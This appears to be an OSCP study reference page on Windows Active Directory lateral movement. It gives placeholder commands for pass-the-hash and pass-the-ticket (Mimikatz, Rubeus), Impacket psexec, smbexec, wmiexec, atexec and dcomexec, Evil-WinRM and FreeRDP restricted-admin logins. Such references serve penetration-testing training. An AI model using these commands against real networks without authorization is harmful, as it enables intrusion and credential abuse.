Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Active Directory/Lateral movement

REFERENCE / 9 TASKS

Lateral movement

Test the destination and the accepted identity. Choose SMB, WMI, WinRM, RDP or a task only when that service and its required rights are available.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Route, authorization and authentication material
    • Match route, destination service and effective authorization
    • Select password, NT hash, key-to-ticket or ticket authentication
  • Service and scheduled-task execution
    • Execute through uploaded service creation using PsExec
    • Execute commands through service command lines and SMB output
    • Execute through remote Task Scheduler
  • Management protocol execution
    • Execute through WMI or native CIM over DCOM
    • Execute through an authorized DCOM application object
    • Use WinRM, WinRS or PowerShell remoting
  • Interactive access
    • Obtain an authorized RDP interactive session

Tools & scripts

Evil-WinRM upstream ↗
Use when the accepted identity has WinRM authorization.
Impacket WMI upstream ↗
Use a permitted WMI/RPC path with the matching authentication material.
FreeRDP upstream ↗
Check remote interactive rights and preserve the current session.

Route, authorization and authentication material

Match route, destination service and effective authorization

Contents ↑

Use when: A credential appears valid but the destination's usable access is unknown

Needs: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Directly routed source

MaterialCompatible starting pathsImportant boundary
PasswordSMB/SCM, WMI/DCOM, WinRM/WinRS, RDPCorrect password does not grant the required logon or execution right
NT hashNTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supportedNet-NTLM and DCC2 are not reusable NT hashes
TGT/ccacheKerberos-capable tool using target FQDN/SPNTicket identity, realm, lifetime, DNS and KDC route must match
TGSOnly the named SERVICE/HOST and compatible clientA CIFS ticket does not authorize WinRM, WMI or RDP
AES/NT long-term keyRequest a TGT, then use KerberosRC4/NT-key requests can fail where RC4 is disabled
Local-account password/hashNTLM or RDP in the target's local account contextRemote UAC/account restrictions commonly filter non-RID-500 local administrators
Reachable serviceCommon execution/access mechanismsUsual authorization
SMB 445 + SCM/RPCPsExec, SMBExec, service creationAdministrative share plus SCM/service rights
RPC endpoint mapper 135 + dynamic RPC; often SMB for outputWMIExec, native CIM/WMI, DCOMRemote WMI/DCOM rights, commonly an effective administrator token
Task Scheduler RPC plus SMB outputATExecRemote task creation and administrative output access
WinRM 5985/5986WinRS, PowerShell remoting, Evil-WinRMEnabled endpoint and endpoint/session authorization
RDP 3389FreeRDP, MSTSCRemote-interactive logon right; Restricted Admin requires administrator access
# Directly routed source
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source

# Windows source
Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Record

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

# Record
SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

NetExec can classify a selected SMB credential

# NetExec can classify a selected SMB credential
# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

# For one justified execution proof
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Client commands / example output

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

# Baseline
DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Remote process creation, stdout retrieval and an interactive shell are separate states

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

# Remote process creation, stdout retrieval and an interactive shell are separate states
AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

Windows commands

  • PsExec returns named-pipe I/O through its service.
  • WMIExec normally redirects output to an SMB share.
  • SMBExec redirects command output while repeatedly creating services.
  • ATExec writes output under ADMIN$\Temp.
  • Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
  • WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
  • WinRM creates a remote shell/runspace and returns structured or text output.
REM Baseline
hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist
  1. local privilege and accessible credential sources;
  2. domain groups, ACLs, shares and host rights under the new identity;
  3. logged-on sessions and service accounts;
  4. interfaces, routes, DNS, listeners and internal reachability;
  5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

Read / verify → Record exact source, credential type, destination name/service and successfully permitted operation.

If it fails → Do not infer every service works from an administrative SMB indicator. Separate authentication, route, execution and output-channel failures.

  • A destination grants administrative-share write and service-control rights → Execute through uploaded service creation using PsExec
  • A destination exposes WMI/DCOM and the identity has useful namespace/process rights → Execute through WMI or native CIM over DCOM
  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting
  • RDP is reachable and the identity may have remote-interactive logon rights → Obtain an authorized RDP interactive session
  • The identity has remote task rights and a compatible output path → Execute through remote Task Scheduler
  • A usable remote COM application and effective activation/method rights → Execute through an authorized DCOM application object

Prerequisite checks & examples →Full technique →

Select password, NT hash, key-to-ticket or ticket authentication

Contents ↑

Use when: A password, actual NT hash, AES/NT long-term key or ticket is available

Needs: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Pass-the-Hash

# Pass-the-Hash
NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

# Mimikatz network-credential context
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

Rubeus TGT request

REM Rubeus TGT request
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

REM AES alternative
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

REM Trigger a Kerberos service request with the hostname, then inspect
dir \\TARGET_HOST\C$
klist

REM Windows
Rubeus.exe ptt /ticket:ticket.kirbi
klist

In a Mimikatz sekurlsa::pth process, whoami can still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating local whoami as the network identity.

Pass-the-Ticket

# Pass-the-Ticket
kerberos::ptt ticket.kirbi

Linux

# Linux
export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

Read / verify → Verify exact material type, represented network identity and successful destination action.

If it fails → Wrong ticket service, RC4 policy, time skew, IP-only SPN naming or local/domain mismatch can invalidate one variant while another remains viable.

  • A destination grants administrative-share write and service-control rights → Execute through uploaded service creation using PsExec
  • A destination exposes WMI/DCOM and the identity has useful namespace/process rights → Execute through WMI or native CIM over DCOM
  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting
  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context

Prerequisite checks & examples →Full technique →

Service and scheduled-task execution

Execute through uploaded service creation using PsExec

Contents ↑

Use when: A destination grants administrative-share write and service-control rights

Needs: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Shell commands

# Baseline
# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Kerberos cache

Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.

# Kerberos cache
export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

Windows commands

REM Baseline
PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.

Read / verify → Verify destination and represented execution identity, not only service creation or tool success.

If it fails → Share write, SCM access, service start, endpoint controls and pipe communication can fail independently.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A controlled Windows host may hold useful logged-on identities → Obtain accessible live logon-session credential material
  • SCM rights and SMB output access exist but an uploaded service binary is unsuitable → Execute commands through service command lines and SMB output

Prerequisite checks & examples →Full technique →

Execute commands through service command lines and SMB output

Contents ↑

Use when: SCM rights and SMB output access exist but an uploaded service binary is unsuitable

Needs: Accepted authentication, service create/start rights and the selected output-share/server path

Shell commands

# Baseline
impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

# Kerberos and alternate output modes
export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.

Read / verify → Verify command effect separately from successful output retrieval and remove created artifacts as appropriate.

If it fails → Missing output can coexist with successful execution. Check service event/effect and share permissions before changing payloads.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A destination grants administrative-share write and service-control rights → Execute through uploaded service creation using PsExec
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order

Prerequisite checks & examples →Full technique →

Execute through remote Task Scheduler

Contents ↑

Use when: The identity has remote task rights and a compatible output path

Needs: Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access

Shell commands

# Baseline
impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

Kerberos

ATExec creates and deletes a scheduled task and normally retrieves output from ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.

# Kerberos
export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

Read / verify → Verify the actual task effect/principal and destination, not task registration alone.

If it fails → Dynamic RPC filtering, task authorization or denied output share can break different phases.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization

Prerequisite checks & examples →Full technique →

Management protocol execution

Execute through WMI or native CIM over DCOM

Contents ↑

Use when: A destination exposes WMI/DCOM and the identity has useful namespace/process rights

Needs: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

Shell commands

# Baseline
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

# Kerberos with separate name and route
export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

One command, no SMB output

# One command, no SMB output
$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

Read / verify → Verify destination process/effect and execution identity separately from captured stdout.

If it fails → Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting

Prerequisite checks & examples →Full technique →

Execute through an authorized DCOM application object

Contents ↑

Use when: A usable remote COM application and effective activation/method rights

Needs: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Current Windows token

# Current Windows token
$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash

# Impacket with password or NT hash
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Read / verify → Verify the actual destination effect and identity; COM object creation alone does not prove command execution.

If it fails → Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries

Prerequisite checks & examples →Full technique →

Use WinRM, WinRS or PowerShell remoting

Contents ↑

Use when: A WinRM listener and a candidate endpoint-authorized account

Needs: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Evil-WinRM

# Evil-WinRM
# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

# Current Evil-WinRM ticket-file support
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.

Native WinRS

REM Native WinRS
winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

REM Native WinRS
winrs /r:TARGET_HOST "cmd /c hostname & whoami"

WinRS uses WinRM. A non-administrator can require /noprofile depending on endpoint configuration. /allowdelegate affects onward credential use and is not a default fix for the double-hop problem.

PowerShell remoting

# PowerShell remoting
Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.

Read / verify → Verify hostname, whoami /all and the actual session configuration/rights.

If it fails → Authentication denial, endpoint denial, TLS/name mismatch and second-hop failure require different fixes.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A controlled Windows host may hold useful logged-on identities → Obtain accessible live logon-session credential material
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization

Prerequisite checks & examples →Full technique →

Interactive access

Obtain an authorized RDP interactive session

Contents ↑

Use when: RDP is reachable and the identity may have remote-interactive logon rights

Needs: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Check the installed binary name

# Check the installed binary name
command -v xfreerdp3 || command -v xfreerdp

# Password
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

# NT hash
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

Native client

FreeRDP's /pth uses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.

REM Native client
mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

Purpose: use a validated identity with Remote Desktop logon rights to establish a Windows desktop and verify the resulting source position.

Prompt for the password

# Baseline: prompt for the password
xfreerdp3 /v:TARGET /u:USER /dynamic-resolution /cert:ignore

# Variant — domain identity
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

# Variant — authentication only
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# Variant — explicit password
xfreerdp3 /v:TARGET /u:USER '/p:PASSWORD' /dynamic-resolution /cert:ignore

Decisive output: a usable desktop establishes a remote session. Open PowerShell or Command Prompt and verify whoami, hostname and ipconfig before treating commands as target-origin execution.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.

Failure cues: a certificate warning is not a credential result. NLA/security negotiation, account context, authentication, Remote Desktop logon rights and an already occupied/restricted session can fail separately. /cert:ignore is appropriate only for the controlled lab context because it removes certificate identity validation.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.

Read / verify → Verify destination, user/token and permitted desktop actions; keep credentials out of reusable screenshots/notes.

If it fails → A valid password can still lack logon rights. NLA, TLS, domain qualification and Restricted Admin policy are separate conditions.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries → Recover Windows application, history and stored-credential artifacts
  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Test the destination from the real source

A working password on one service does not establish execution permission on another host.

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST
  • If WinRM is reachable and the account has endpoint rights → Use WinRM, WinRS or PowerShell remoting

    Use the WinRM procedure and verify the resulting token.

  • If SMB/RPC is reachable and service-control rights are confirmed → Execute through uploaded service creation using PsExec

    Use the service-execution procedure with a separate output path.

Otherwise: Only the listener is reachable: inspect actual endpoint authorization before selecting an execution tool. Open Select password, NT hash, key-to-ticket or ticket authentication →

Full commands & alternatives →

Match password, hash, key or ticket to the client

Use the existing Impacket/NetExec protocol-specific examples; do not treat successful authentication as remote execution.

klist
getent hosts TARGET_HOST
date -u
  • If Accepted authentication plus remote service rights → Execute through uploaded service creation using PsExec

    Check share/SCM permissions and output reachability.

  • If WMI/task rights with RPC/DCOM connectivity → Execute through WMI or native CIM over DCOM

    Check the exact namespace/task authorization and output channel.

Otherwise: The artifact is rejected: recheck identity scope, material format, service name and transport. Open Classify the artifact and its identity context →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8